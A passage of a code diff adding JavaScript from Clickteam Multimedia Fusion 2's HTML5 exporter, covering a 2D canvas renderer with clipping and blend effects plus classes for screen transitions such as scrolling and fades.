+ renderPatternEllipse: function (image, x, y, w, h, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderLine: function (xA, yA, xB, yB, color, thickness, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderRect: function (x, y, w, h, color, thickness, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderEllipse: function (x, y, w, h, color, inkEffect, inkEffectParam)
+ {
+ },
+
+ pushClip: function (x, y, w, h)
+ {
+ var curClip = this.clips[this.clips.length - 1];
+
+ if (curClip)
+ {
+ if (x < curClip.x)
+ x = curClip.x;
+
+ if (y < curClip.y)
+ y = curClip.y;
+
+ if ((x + w) > (curClip.x + curClip.w))
+ w = (curClip.x + curClip.w) - x;
+
+ if ((y + h) > (curClip.y + curClip.h))
+ h = (curClip.y + curClip.h) - y;
+ }
+
+ var clip = { x: x, y: y, w: w, h: h };
+
+ this.clips.push(clip);
+
+ return clip;
+ },
+
+ popClip: function ()
+ {
+ this.clips.pop();
+ }
+ };
+
+ /* Renderer implementation using 2D canvas context
+ */
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ function StandardRenderer(element)
+ {
+ this.xScale = 1.0;
+ this.yScale = 1.0;
+ this.oldEffect = -1;
+ this.smoothing = false;
+ this.oldSmoothing = false;
+ this.dxw = 0.0; // sub-pixel margin size for destination rectangle
+ this.dyw = 0.0; // sub-pixel margin size for destination rectangle
+
+ if (!(this._context = element.getContext('2d')))
+ throw new Error("Failed to init standard renderer");
+ };
+
+ StandardRenderer.prototype = CServices.extend(new Renderer(),
+ {
+ resetEffect: function (smooth)
+ {
+ this.smoothing = smooth;
+ this.oldSmoothing = smooth;
+ this._context["imageSmoothingEnabled"] = smooth;
+ this._context["webkitImageSmoothingEnabled"] = smooth;
+ this._context["mozImageSmoothingEnabled"] = smooth;
+ this._context["msImageSmoothingEnabled"] = smooth;
+
+ this.oldEffect = -1;
+ this.setInkEffect(0, 0);
+ },
+
+ setScale: function (sx, sy)
+ {
+ this._context.scale(sx, sy);
+
+ // Adjust subpixel correction according to scale, to avoid seams between backdrop objects
+ // todo: should it depend on the browser?
+ this.xScale = sx;
+ this.yScale = sy;
+ this.dxw = 0.0; // no sub-pixel correction if no scaling
+ this.dyw = 0.0;
+
+ if (this.xScale > 1.0)
+ this.dxw = 1.0; // 1 pixel correction if zoom > 1.0
+ else if (this.xScale > 0.0 && this.xScale < 1.0)
+ this.dxw = 1.0 / this.xScale; // 1/scale pixel correction if zoom < 1.0
+ if (this.yScale > 1.0)
+ this.dyw = 1.0;
+ if (this.yScale > 0.0 && this.yScale < 1.0)
+ this.dyw = 1.0 / this.yScale;
+ },
+
+ clearBackground: function (x, y, w, h)
+ {
+ var context = this._context;
+ context.clearRect(x, y, w, h);
+ },
+
+ renderSolidColor: function (x, y, w, h, color, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ context.fillStyle = CServices.getColorString(color);
+ context.fillRect(x, y, w, h);
+ },
+
+ renderSolidColorEllipse: function (x, y, w, h, color, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ context.fillStyle = CServices.getColorString(color);
+
+ CServices.createEllipse(context, x, y, w, h);
+ context.fill();
+ },
+
+ renderGradient: function (x, y, w, h, color1, color2, vertical, inkEffect, inkEffectParam)
+ {
+ if (color1 == color2)
+ return this.renderSolidColor(x, y, w, h, color1, inkEffect, inkEffectParam);
+
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ this.configureGradient(x, y, w, h, vertical, color1, color2);
+
+ context.fillRect(x, y, w, h);
+ },
+
+ renderGradientEllipse: function (x, y, w, h, color1, color2, vertical, inkEffect, inkEffectParam)
+ {
+ if (color1 == color2)
+ return this.renderSolidColorEllipse(x, y, w, h, color1, inkEffect, inkEffectParam);
+
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ this.configureGradient(x, y, w, h, vertical, color1, color2);
+
+ CServices.createEllipse(context, x, y, w, h);
+ this._context.fill();
+ },
+
+ renderImage: function (image, x, y, angle, scaleX, scaleY, inkEffect, inkEffectParam)
+ {
+ // if(! (image instanceof CImage))
+ // throw new Error("renderImage: bad image type: " + (typeof image));
+ var context = this._context;
+ var xi = x - image.xSpot;
+ var yi = y - image.ySpot;
+ // if (xi+image.width<0 || xi>context.width || yi+image.height<0 || yi>context.height)
+ // return;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ if (angle == 0 && scaleX == 1 && scaleY == 1)
+ {
+ if (image.mosaic == 0)
+ {
+ if (image.img != null)
+ {
+ context.drawImage(image.img, xi, yi);
+ }
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height,
+ xi, yi,
+ image.width, image.height);
+ }
+ }
+ else
+ {
+ context.save();
+
+ context.translate(x, y);
+
+ if (angle != 0)
+ context.rotate(-angle * 0.0174532925);
+
+ context.scale(Math.max(0.001, scaleX), Math.max(0.001, scaleY));
+ context.translate(-image.xSpot, -image.ySpot);
+
+ if (image.mosaic == 0)
+ {
+ if (image.img != null && image.width != 0 && image.height != 0)
+ {
+ context.drawImage(image.img, 0, 0, image.width, image.height,
+ 0, 0, image.width, image.height);
+ }
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+
+ context.restore();
+ }
+ },
+
+ // This function is used by backdrop objects only, to avoid seams between objects
+ // Limited to backdrop objects as it can affect rendering of small objects
+ renderImageWithSubPixelCorrection: function (image, x, y, angle, scaleX, scaleY, inkEffect, inkEffectParam) {
+ // if(! (image instanceof CImage))
+ // throw new Error("renderImage: bad image type: " + (typeof image));
+ var context = this._context;
+ var xi = x - image.xSpot;
+ var yi = y - image.ySpot;
+ // if (xi+image.width<0 || xi>context.width || yi+image.height<0 || yi>context.height)
+ // return;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ if (angle == 0 && scaleX == 1 && scaleY == 1)
+ {
+ if (image.mosaic == 0)
+ {
+ if (image.img != null)
+ {
+ context.drawImage(image.img,
+ 0, 0,
+ image.width, image.height,
+ xi, yi,
+ image.width + this.dxw, image.height + this.dyw);
+ }
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height,
+ xi, yi,
+ image.width + this.dxw, image.height + this.dyw);
+ }
+ }
+ else
+ {
+ context.save();
+
+ context.translate(x, y);
+
+ if (angle != 0)
+ context.rotate(-angle * 0.0174532925);
+
+ context.scale(Math.max(0.001, scaleX), Math.max(0.001, scaleY));
+ context.translate(-image.xSpot, -image.ySpot);
+
+ if (image.mosaic == 0)
+ {
+ if (image.img != null)
+ {
+ context.drawImage(image.img, 0, 0, image.width, image.height,
+ 0, 0, image.width, image.height);
+ }
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+
+ context.restore();
+ }
+ },
+
+ renderSimpleImage: function (image, x, y, width, height, inkEffect, inkEffectParam)
+ {
+ this.setInkEffect(inkEffect, inkEffectParam);
+ this._context.drawImage(image, x, y, width, height);
+
+ // Not sure if we should add sub-pixel margin to this routine as it's not used by backdrops
+ // Do it later if necessary only
+ //this._context.drawImage(image, x, y, width + this.dxw, height + this.dyw);
+ },
+
+ renderPattern: function (image, x, y, w, h, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ context.save();
+ context.beginPath();
+ context.moveTo(x, y);
+ context.lineTo(x + w, y);
+ context.lineTo(x + w, y + h);
+ context.lineTo(x, y + h);
+ context.lineTo(x, y);
+ context.clip();
+
+ var iSx = image.width;
+ var iSy = image.height;
+ var widthX = Math.floor(w / iSx) + 1;
+ var heightY = Math.floor(h / iSy) + 1;
+ var nX, nY;
+ for (nX = 0; nX < widthX; nX++)
+ {
+ for (nY = 0; nY < heightY; nY++)
+ {
+ if (image.mosaic == 0)
+ {
+ if (image.img != null)
+ {
+ // context.drawImage(image.img, x + nX * iSx, y + nY * iSy);
+
+ context.drawImage(image.img,
+ 0, 0,
+ image.width, image.height,
+ x + nX * iSx, y + nY * iSy,
+ image.width + this.dxw, image.height + this.dyw);
+ }
+ }
+ else
+ {
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height,
+ x + nX * iSx, y + nY * iSy,
+ image.width + this.dxw, image.height + this.dyw);
+ }
+ }
+ }
+ context.restore();
+ },
+
+ renderPatternEllipse: function (image, x, y, w, h, inkEffect, inkEffectParam)
+ {
+ if (!(image instanceof CImage))
+ throw new Error("renderPatternEllipse: bad image type: " + (typeof image));
+
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ if (image.mosaic == 0)
+ {
+ if (image.img != null)
+ {
+ context.fillStyle = context.createPattern(image.img, 'repeat');
+ }
+ }
+ else
+ {
+ if (!image.pattern)
+ {
+ image.pattern = document.createElement("canvas");
+ image.pattern.width = image.width;
+ image.pattern.height = image.height;
+ var context = image.pattern.getContext("2d");
+ context.drawImage(image.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+ context.fillStyle = context.createPattern(image.pattern, 'repeat');
+ }
+ CServices.createEllipse(context, x, y, w, h);
+ this._context.fill();
+ },
+
+ renderLine: function (xA, yA, xB, yB, color, thickness, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ context.strokeStyle = CServices.getColorString(color);
+ context.lineCap = 'round';
+ context.lineWidth = thickness;
+
+ context.beginPath();
+ context.moveTo(xA, yA);
+ context.lineTo(xB, yB);
+ context.closePath();
+
+ context.stroke();
+ },
+
+ renderRect: function (x, y, w, h, color, thickness, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+
+ context.strokeStyle = CServices.getColorString(color);
+ context.lineWidth = thickness;
+ context.strokeRect(x, y, w, h);
+ },
+
+ renderEllipse: function (x, y, w, h, thickness, color, inkEffect, inkEffectParam)
+ {
+ var context = this._context;
+
+ this.setInkEffect(inkEffect, inkEffectParam);
+ context.lineWidth = thickness;
+ context.strokeStyle = CServices.getColorString(color);
+
+ CServices.createEllipse(context, x, y, w, h);
+ this._context.stroke();
+ },
+
+ clip: function (x, y, w, h)
+ {
+ var context = this._context;
+ context.save();
+ context.beginPath();
+ context.rect(x, y, w, h);
+ context.clip();
+ },
+
+ unClip: function ()
+ {
+ this._context.restore();
+ },
+
+ pushClip: function ()
+ {
+ var context = this._context;
+
+ var clip = Renderer.prototype.pushClip.apply(this, arguments);
+
+ context.beginPath();
+ context.rect(clip.x, clip.y, clip.w, clip.h);
+ context.clip();
+ },
+
+ popClip: function ()
+ {
+ var context = this._context;
+
+ Renderer.prototype.popClip.apply(this, arguments);
+
+ if (this.clips.length > 0)
+ {
+ var clip = this.clips[this.clips.length - 1];
+
+ context.beginPath();
+ context.rect(clip.x, clip.y, clip.w, clip.h);
+ context.clip();
+ }
+ else
+ {
+ context.resetClip();
+ }
+ },
+
+ setInkEffect: function (effect, effectParam)
+ {
+ var context = this._context;
+ if (typeof effect == 'undefined')
+ {
+ context.globalAlpha = 1.0;
+ context.composite = 'source-over';
+ return;
+ }
+
+ if (effect == this.oldEffect && effectParam == this.oldEffectParam)
+ return;
+ this.oldEffect = effect;
+ this.oldEffectParam = effectParam;
+
+
+ var effectMasked = effect & CRSpr.BOP_MASK;
+ var smoothing = ((effect & CRSpr.BOP_SMOOTHING) != 0) | this.smoothing;
+ if (smoothing != this.oldSmoothing)
+ {
+ this.oldSmoothing = smoothing;
+ context["imageSmoothingEnabled"] = smoothing;
+ context["webkitImageSmoothingEnabled"] = smoothing;
+ context["mozImageSmoothingEnabled"] = smoothing;
+ context["msImageSmoothingEnabled"] = smoothing;
+ }
+
+ if ((effect & CRSpr.BOP_RGBAFILTER) != 0)
+ context.globalAlpha = (((effectParam >>> 24) & 0xFF) / 255.0);
+ else if (effectMasked == CRSpr.BOP_BLEND)
+ context.globalAlpha = ((128 - effectParam) / 128.0);
+ else
+ context.globalAlpha = 1.0;
+
+ switch (effectMasked)
+ {
+ case CRSpr.BOP_ADD:
+ context.composite = "lighter";
+ break;
+ case CRSpr.BOP_XOR:
+ context.composite = "xor";
+ break;
+ default:
+ context.composite = "source-over";
+ break;
+ }
+ },
+
+ configureGradient: function (x, y, w, h, vertical, color1, color2)
+ {
+ var gradient = vertical ?
+ this._context.createLinearGradient(x, y, x, y + h)
+ : this._context.createLinearGradient(x, y, x + w, y);
+
+ gradient.addColorStop(0, CServices.getColorString(color1));
+ gradient.addColorStop(1, CServices.getColorString(color2));
+
+ this._context.fillStyle = gradient;
+ }
+ });
+
+
+
+
+ // CTRANSITIONDATA : donnรฉes transitions
+ //----------------------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CTransitionData.TRFLAG_COLOR = 0x0001;
+ function CTransitionData()
+ {
+ this.dllName = "";
+ this.transID = 0;
+ this.transDuration = 0;
+ this.transFlags = 0;
+ this.transColor = 0;
+ this.dataOffset = 0;
+ }
+ CTransitionData.prototype =
+ {
+ load: function (file)
+ {
+ var debut = file.getFilePointer();
+
+ file.skipBytes(4);
+ this.transID = file.readAInt();
+ this.transDuration = file.readAInt();
+ this.transFlags = file.readAInt();
+ this.transColor = file.readAColor();
+
+ var nameOffset = file.readAInt();
+ var paramOffset = file.readAInt();
+ file.seek(debut + nameOffset);
+ this.dllName = file.readAString();
+ this.dllName = this.dllName.substr(0, this.dllName.indexOf('.'));
+ this.dataOffset = (debut + paramOffset);
+ }
+ }
+
+ // CTRANSITIONS : interface avec la dll
+ //----------------------------------------------------------------------------------
+ function CTransition()
+ {
+ }
+ CTransition.prototype =
+ {
+ getTrans: function (data)
+ {
+ return null;
+ }
+ }
+
+ // CTRANS : interface avec un effet de transition
+ //----------------------------------------------------------------------------------
+ CTrans.LEFT_RIGHT = 0;
+ CTrans.RIGHT_LEFT = 1;
+ CTrans.TOP_BOTTOM = 2;
+ CTrans.BOTTOM_TOP = 3;
+ CTrans.CENTER_LEFTRIGHT = 0;
+ CTrans.LEFTRIGHT_CENTER = 1;
+ CTrans.CENTER_TOPBOTTOM = 2;
+ CTrans.TOPBOTTOM_CENTER = 3;
+ CTrans.TOP_LEFT = 0;
+ CTrans.TOP_RIGHT = 1;
+ CTrans.BOTTOM_LEFT = 2;
+ CTrans.BOTTOM_RIGHT = 3;
+ CTrans.CENTER = 4;
+ CTrans.DIR_HORZ = 0;
+ CTrans.DIR_VERT = 1;
+ CTrans.TRFLAG_FADEIN = 0x0001;
+ CTrans.TRFLAG_FADEOUT = 0x0002;
+ function CTrans()
+ {
+ this.m_initTime = 0;
+ this.m_currentTime = 0;
+ this.m_endTime = 0;
+ this.m_duration = 0;
+ this.m_overflow = false;
+ this.m_running = false;
+ this.m_starting = false;
+ this.source1 = null;
+ this.source2 = null;
+ this.dest = null;
+ this.destContext = null;
+ }
+ CTrans.prototype =
+ {
+ start: function (data, display, debut, fin)
+ {
+ this.dest = display;
+ this.destContext = this.dest.getContext("2d");
+ this.source1 = debut;
+ this.source2 = fin;
+
+ var date = new Date();
+ this.m_initTime = date.getTime();
+ this.m_duration = data.transDuration;
+ if (this.m_duration == 0)
+ this.m_duration = 1;
+ this.m_currentTime = this.m_initTime;
+ this.m_endTime = this.m_initTime + this.m_duration;
+ this.m_running = true;
+ this.m_starting = true;
+ },
+
+ finish: function ()
+ {
+ },
+
+ isCompleted: function ()
+ {
+ if (this.m_running)
+ {
+ var date = new Date();
+ if (date.getTime() >= this.m_endTime)
+ return true;
+ return (date.getTime() >= this.m_endTime);
+ }
+ return true;
+ },
+
+ getDeltaTime: function ()
+ {
+ var date = new Date();
+ this.m_currentTime = date.getTime();
+ if (this.m_currentTime > this.m_endTime)
+ this.m_currentTime = this.m_endTime;
+ return (this.m_currentTime - this.m_initTime);
+ },
+
+ getTimePos: function ()
+ {
+ return this.m_currentTime - this.m_initTime;
+ },
+
+ setTimePos: function (msTimePos)
+ {
+ this.m_initTime = (this.m_currentTime - this.msTimePos);
+ this.m_endTime = this.m_initTime + this.m_duration;
+ },
+
+ blit: function (source, xDest, yDest, xSrce, ySrce, width, height)
+ {
+ if (this.m_objectFadeOut)
+ this.destContext.globalCompositeOperation = "source-atop";
+ if (arguments.length == 1)
+ this.destContext.drawImage(source, 0, 0);
+ else if (width > 0 && height > 0)
+ this.destContext.drawImage(source, xSrce, ySrce, width, height, xDest, yDest, width, height);
+ },
+
+ stretch: function (source, xDest, yDest, wDest, hDest, xSrce, ySrce, wSrce, hSrce)
+ {
+ if (this.m_objectFadeOut)
+ this.destContext.globalCompositeOperation = "source-atop";
+ if (wDest > 0 && hDest > 0 && wSrce > 0 && hSrce > 0)
+ this.destContext.drawImage(source, xSrce, ySrce, wSrce, hSrce, xDest, yDest, wDest, hDest);
+ },
+
+ stepDraw: function (flag)
+ {
+ },
+
+ end: function ()
+ {
+ },
+
+ init: function (data, file, display, source, dest)
+ {
+ }
+
+ }
+
+ // CTRANSITIONMANAGER
+ //----------------------------------------------------------------------------------
+ function CTransitionManager(a)
+ {
+ this.app = a;
+ }
+ CTransitionManager.prototype =
+ {
+ startObjectFade: function (hoPtr, bFadeOut)
+ {
+ var pData = hoPtr.hoCommon.ocFadeIn;
+ if (bFadeOut)
+ {
+ pData = hoPtr.hoCommon.ocFadeOut;
+ }
+ var img = null;
+ var context;
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ var image = this.app.imageBank.getImageFromHandle(hoPtr.roc.rcImage);
+ img = document.createElement("canvas");
+ img.width = image.width;
+ img.height = image.height;
+ var context = img.getContext("2d");
+ if (image.mosaic == 0)
+ context.drawImage(image.img, 0, 0);
+ else
+ {
+ context.drawImage(this.app.imageBank.mosaics[image.mosaic],
+ image.mosaicX, image.mosaicY,
+ image.width, image.height, 0, 0,
+ image.width, image.height);
+ }
+ }
+ else if (hoPtr.hoType >= 32)
+ {
+ img = document.createElement("canvas");
+ img.width = hoPtr.hoImgWidth;
+ img.height = hoPtr.hoImgHeight;
+ var renderer = new StandardRendered(img);
+ if (!hoPtr.getSurface(renderer))
+ img = null;
+ }
+ if (img == null)
+ {
+ return null;
+ }
+
+ var width = img.width;
+ var height = img.height;
+
+ // L'image de fond
+ var display = document.createElement("canvas");
+ display.width = width;
+ display.height = height;
+
+ // Les images de debut et de fin
+ var surface1 = document.createElement("canvas");
+ surface1.width = width;
+ surface1.height = height;
+ var surface2 = document.createElement("canvas");
+ surface2.width = width;
+ surface2.height = height;
+ var context;
+ if (bFadeOut)
+ {
+ // Source = image
+ context = surface1.getContext("2d");
+ context.drawImage(img, 0, 0);
+ context = display.getContext("2d");
+ context.drawImage(img, 0, 0);
+ if ((pData.transFlags & CTransitionData.TRFLAG_COLOR) != 0)
+ {
+ this.copyColorMask(surface2, img, pData.transColor);
+ }
+ }
+ // Fade in
+ else
+ {
+ // Destination = image
+ context = surface2.getContext("2d");
+ context.drawImage(img, 0, 0);
+ if ((pData.transFlags & CTransitionData.TRFLAG_COLOR) != 0)
+ {
+ this.copyColorMask(surface1, img, pData.transColor);
+ }
+ }
+
+ // Charge la transition
+ var pTrans = this.createTransition(pData, display, surface1, surface2);
+ if (pTrans != null)
+ {
+ var trFlags = 0;
+ if ((hoPtr.hoFlags & CObject.HOF_FADEOUT) != 0)
+ {
+ pTrans.m_objectFadeOut = true;
+ trFlags |= CTrans.TRFLAG_FADEOUT;
+ }
+ else
+ {
+ pTrans.m_objectFadeOut = false;
+ trFlags |= CTrans.TRFLAG_FADEIN;
+ }
+ hoPtr.transitionImage = display;
+ pTrans.stepDraw(trFlags);
+ }
+ return pTrans;
+ },
+ copyColorMask: function (dest, source, couleur)
+ {
+ var context = dest.getContext("2d");
+ context.drawImage(source, 0, 0);
+ var width = source.width;
+ var height = source.height;
+ var pixels = context.getImageData(0, 0, width, height);
+ var x, y, alpha;
+ var color = couleur & 0x00FFFFFF;
+ var r = (couleur & 0x00FF0000) >> 16;
+ var g = (couleur & 0x0000FF00) >> 8;
+ var b = couleur & 0x000000FF;
+ for (y = 0; y < height; y++)
+ {
+ for (x = 0; x < width; x++)
+ {
+ if (pixels.data[(y * width + x) * 4 + 3] != 0)
+ {
+ pixels.data[(y * width + x) * 4] = r;
+ pixels.data[(y * width + x) * 4 + 1] = g;
+ pixels.data[(y * width + x) * 4 + 2] = b;
+ }
+ }
+ }
+ context.putImageData(pixels, 0, 0);
+ },
+ createTransition: function (pData, display, surfaceStart, surfaceEnd)
+ {
+ var dllName = pData.dllName;
+
+ var dll = null;
+
+ // STARTCUT
+ if (dllName.toLowerCase() == "cctrans")
+ dll = new CTransitionCCTrans();
+ // ENDCUT
+
+ if (dll != null)
+ {
+ var trans = dll.getTrans(pData);
+ this.app.file.seek(pData.dataOffset);
+ trans.m_objectFadeOut = false;
+ trans.init(pData, this.app.file, display, surfaceStart, surfaceEnd);
+ return trans;
+ }
+ return null;
+ }
+ }
+
+ // CTransitioncctrans : point d'entree des transitions standard
+ //----------------------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CTransitionCCTrans.identifiers =
+ [
+ "BAND",
+ "SE00",
+ "SE10",
+ "SE12",
+ "DOOR",
+ "SE03",
+ "MOSA",
+ "SE05",
+ "SE06",
+ "SCRL",
+ "SE01",
+ "SE07",
+ "SE09",
+ "SE13",
+ "SE08",
+ "SE02",
+ "ZIGZ",
+ "SE04",
+ "ZOOM",
+ "SE11",
+ "FADE"
+ ];
+ function CTransitionCCTrans()
+ {
+ }
+ CTransitionCCTrans.prototype = CServices.extend(new CTransition(),
+ {
+ getTrans: function (data)
+ {
+ // Extrait l'identifier
+ var id = data.transID;
+ var idChars = "";
+ idChars += String.fromCharCode(id & 0xFF);
+ id >>= 8;
+ idChars += String.fromCharCode(id & 0xFF);
+ id >>= 8;
+ idChars += String.fromCharCode(id & 0xFF);
+ id >>= 8;
+ idChars += String.fromCharCode(id & 0xFF);
+
+ // Recherche dans la liste
+ var n;
+ for (n = 0; n < CTransitionCCTrans.identifiers.length; n++)
+ {
+ if (idChars == CTransitionCCTrans.identifiers[n])
+ {
+ break;
+ }
+ }
+
+ // Cree la transition
+ var trans = null;
+ switch (n)
+ {
+ case 0:
+ trans = new CTransBand();
+ break;
+ case 1:
+ trans = new CTransAdvancedScrolling();
+ break;
+ case 2:
+ trans = new CTransBack();
+ break;
+ case 3:
+ trans = new CTransCell();
+ break;
+ case 4:
+ trans = new CTransDoor();
+ break;
+ case 5:
+ trans = new CTransLine();
+ break;
+ case 6:
+ trans = new CTransMosaic();
+ break;
+ case 7:
+ trans = new CTransOpen();
+ break;
+ case 8:
+ trans = new CTransPush();
+ break;
+ case 9:
+ trans = new CTransScroll();
+ break;
+ case 10:
+ trans = new CTransSquare();
+ break;
+ case 11:
+ trans = new CTransStretch();
+ break;
+ case 12:
+ trans = new CTransStretch2();
+ break;
+ case 13:
+ trans = new CTransTrame();
+ break;
+ case 14:
+ trans = new CTransTurn();
+ break;
+ case 15:
+ trans = new CTransTurn2();
+ break;
+ case 16:
+ trans = new CTransZigZag();
+ break;
+ case 17:
+ trans = new CTransZigZag2();
+ break;
+ case 18:
+ trans = new CTransZoom();
+ break;
+ case 19:
+ trans = new CTransZoom2();
+ break;
+ case 20:
+ trans = new CTransFade();
+ break;
+ }
+ return trans;
+ }
+ });
+
+ // CTransAdvancedScrolling
+ //----------------------------------------------------------------------------------
+ function CTransAdvancedScrolling()
+ {
+ this.dwStyle = 0;
+ this.m_source2Width = 0;
+ this.m_source2Height = 0;
+ this.m_style = 0;
+ }
+ CTransAdvancedScrolling.prototype = CServices.extend(new CTrans(),
+ {
+ init: function (data, file, display, source, dest)
+ {
+ this.dwStyle = file.readAInt();
+ this.start(data, display, source, dest);
+ },
+ stepDraw: function (flag)
+ {
+ // 1st time?
+ if (this.m_starting)
+ {
+ this.m_starting = false;
+ this.m_source2Width = this.source2.width;
+ this.m_source2Height = this.source2.height;
+
+ if (this.dwStyle != 8)
+ this.m_style = this.dwStyle;
+ else
+ this.m_style = Math.floor(Math.random() * 8);
+ }
+
+ var elapsedTime = this.getDeltaTime();
+
+ if ((elapsedTime / this.m_duration) > 1.0)
+ {
+ this.blit(this.source2); // completed
+ }
+ else
+ {
+ var w, h;
+
+ switch (this.m_style)
+ {
+ case 0:
+ // Scrolling (To right, to left and to down)
+ /////////////////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, 0, w, this.m_source2Height - h, w, h); // Top side
+ break;
+ case 1:
+ // Scrolling (To right, to left and to up)
+ /////////////////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, this.m_source2Height - h, w, 0, w, h); // Bottom side
+ break;
+ case 2:
+ // To right, to left and to up
+ ////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
+ this.blit(this.source2, 0, 0, this.m_source2Width / 3 - w, 0, w, h); // Left Side
+ this.blit(this.source2, this.m_source2Width - w, 0, 2 * this.m_source2Width / 3, 0, w, h); // Right Side
+
+ w = this.m_source2Width / 3;
+ h = this.m_source2Height * elapsedTime / this.m_duration;
+ this.blit(this.source2, w, 0, w, 0, w, h); // Top side
+ break;
+ case 3:
+ // To right, to left and to down
+ /////////////////////////////////
+
+ w = this.m_source2Width / 3 * elapsedTime / this.m_duration;
+ h = this.m_source2Height;
